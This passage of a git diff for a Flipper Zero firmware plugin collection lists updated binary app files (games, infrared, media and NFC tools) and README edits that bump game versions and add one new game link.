ef60e032..1e0d1b3c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap index 8fca20f8..78428b58 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap index 263cf47e..7ce0bec9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap index 5d447102..6ffff3f3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap index 74de1979..6226f42c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap index 3c0d6fce..07d3e9e5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap index 54004542..06a1bef8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap index 4cdbcbbe..82ebe412 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap index 45e2d076..6cc502a6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap index d48e6cb6..18f055bf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap index 120ae37d..64dc23d5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap index e56f2906..b4f27319 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap index 089b966d..04bbb9e8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap index 61f5fec8..d4610050 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap index 84dcca6e..09bb46a5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap index 0c8afa4a..2063b613 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap index d60eafe7..8336bb60 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap index fbe05b3c..05ba915b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap index fc48420f..fc227bc0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap index 25b81048..48b3e016 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap index 175a0533..4621f37f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap index d625e628..1c0f6a4d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap index dbb3b6c4..e4f9c5d3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap index a39a9af5..361e5051 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap index 3ded30d0..8d72c4c6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap index f2c0e05b..f6fa98ba 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap index feb41928..6504d90d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap index 247820b2..10a4bbec 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap index 0d20f260..400db82c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap index ea04b9ec..ccf43752 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap index 6193a2b4..c059579a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap index 65857a2c..f60d0214 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap index 84aae1bc..7ebf97be 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap new file mode 100644 index 00000000..0fe96624 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap index 8d7bb270..42c20c95 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap index 7c3eb65b..e3221e89 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap index 951b4c8f..e9bf5cce 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap index cd6f083f..891ce937 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap index f638360b..25d92ef3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap index c5c04253..1c8b28c1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap index 2a3eb9a0..a4043f99 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap index 375b10ff..2421643f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap index 908cfa0c..4049fd51 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap index 3cf5b61d..ca2d3577 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap index 80307c7e..2332bf31 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap index 3130be2f..dfc18b95 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap index 715faea1..a7563a15 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap index c3cdf59a..f62aa631 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap index c8b226d5..2dcaa4b1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap index cc24fb9d..875f132e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap index 499531af..be1f67dd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap index 846df6b2..10dc3ee3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap index 755a8239..600b7138 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap index 0b51f4ec..5176399f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap index 8d79a46d..3f1439de 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap index de577698..acf6399a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap index 5adc1d00..bc3d143a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap index 8108515d..9a680bac 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap index bc07b215..c5905866 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap index 931e246f..fabff83c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap index 3133e838..f27c7842 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap index 72e2baa8..cd5d4ff0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap index 80a3514c..4e684f89 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap index fc5c8ab5..2e1d2556 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap index 3406a086..2da11eef 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap new file mode 100644 index 00000000..6114d804 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey32.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey32.fap deleted file mode 100644 index 77eb8c73..00000000 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey32.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey32_wnested.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey32_wnested.fap deleted file mode 100644 index 1ebf9d92..00000000 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey32_wnested.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap index d15ef8ff..e9738e2f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap index a0a07de2..c9c18078 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap index 9e15c74f..32f2b997 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap index 4d163de4..2e7cb1d1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap index 8cd2b3ed..aa4a2e91 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap index 623bdbe8..a17743a1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap index 7de94c55..d9120e08 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap index 99dfecef..adcd5bd5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md b/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md index 9dce1381..21a29482 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md @@ -3,7 +3,7 @@ - [15 v1.1 (By x27)](https://github.com/x27/flipperzero-game15) - [2048 v1.1 (By OlegSchwann)](https://github.com/OlegSchwann/flipperzero-firmware/tree/hackaton/game_2048/applications/game-2048) [(Score By DevMilanIan)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/186) -- [2048 v1.3 (By eugene-kirzhanov)](https://github.com/eugene-kirzhanov/flipper-zero-2048-game) (Titled 2048 (Improved)) +- [2048 v1.4 (By eugene-kirzhanov)](https://github.com/eugene-kirzhanov/flipper-zero-2048-game) (Titled 2048 (Improved)) - [4 In A Row v1.1 (By leo-need-more-coffee)](https://github.com/leo-need-more-coffee/flipperzero-4inrow) - [99 Bottles (By bolknote)](https://github.com/bolknote/99-Flipper) - [Air Arkanoid v1.1 (By DrZlo13)](https://github.com/flipperdevices/flipperzero-good-faps/pull/141) `Req: Video Game Module By Flipper Devices` @@ -15,8 +15,9 @@ - [Chess v2.0 (By xtruan)](https://github.com/xtruan/flipper-chess) - [Chess Clock (By ihatecsv)](https://github.com/ihatecsv/flipper_chess_clock) - [City Bloxx (By Milk-Cool)](https://github.com/Milk-Cool/fz-citybloxx) -- [Color Guess v1.3 (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) +- [Color Guess v1.4 (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) - [Connect Wires v1.0 (By AlexTaran)](https://github.com/AlexTaran/flipperzero) +- [Connect Wires 2 v1.0 (By HappyAmos)](https://github.com/HappyAmos/Flipper_FAPS) - [Crossy Road v1.0 (By Mikael098)](https://github.com/Mikael098/CrossyRoad-FlipperZero-) - [Dice (RM) Including SEX/WAR/8BALL/WEED/DRINK DICE v2.3 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dice) - [DnD Dice v1.3 (By 